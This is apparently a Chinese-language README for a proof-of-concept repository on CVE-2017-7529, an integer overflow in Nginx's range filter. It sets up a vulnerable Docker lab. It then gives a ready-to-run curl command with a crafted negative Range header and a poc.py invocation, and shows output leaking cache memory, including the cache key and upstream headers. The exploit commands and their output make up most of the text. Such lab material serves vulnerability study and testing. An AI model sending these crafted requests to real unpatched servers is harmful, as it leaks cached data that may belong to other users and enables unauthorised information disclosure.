自 0.5.6 起至 1.13.2(含)的 Nginx 版本在 nginx 范围过滤器模块中存在整数溢出漏洞,由特制请求触发,可导致潜在敏感信息泄露。 来源:https://nvd.nist.gov/vuln/detail/CVE-2017-7529
在其他开源资料中,你可能会看到该漏洞只能在 Apache2 上且仅针对图片文件复现的说法,但事实并非如此。该漏洞适用于任何通过 Nginx 代理的应用程序。关键在于服务器返回 Accept-Ranges: bytes 响应头。可以手动将其添加到 nginx 配置中:proxy_force_ranges on;
$ git clone https://github.com/SirEagIe/CVE-2017-7529
$ cd CVE-2017-7529
$ docker build -t cve-2017-7529 .
$ docker run --rm -d -p 8000:80 --name cve-2017-7529 cve-2017-7529
发送一个 GET 请求以获取 Content-Length,并将响应存入缓存。然后使用 -n,-(0x8000000000000000-n) 范围重新发送带 Range 头的请求。
$ curl -i http://localhost:8000/
$ curl -i http://localhost:8000/ -r -533,-9223372036854775275 --output -
或者使用 poc.py 脚本。
$ python3 poc.py http://localhost:8000/ 513
结果:
[+] Vulnerable to CVE-2017-7529
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -513-19/20
MX*fÿÿÿÿÿÿÿÿõU*fTêû©h
KEY: httpGETlocalhost/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 20
Server: Werkzeug/1.0.1 Python/3.5.3
Date: Thu, 25 Apr 2024 13:09:09 GMT
<p>Hello, World!</p>
--00000000000000000029
Content-Type: text/html; charset=utf-8
Content-Range: bytes -9223372036854775255-19/20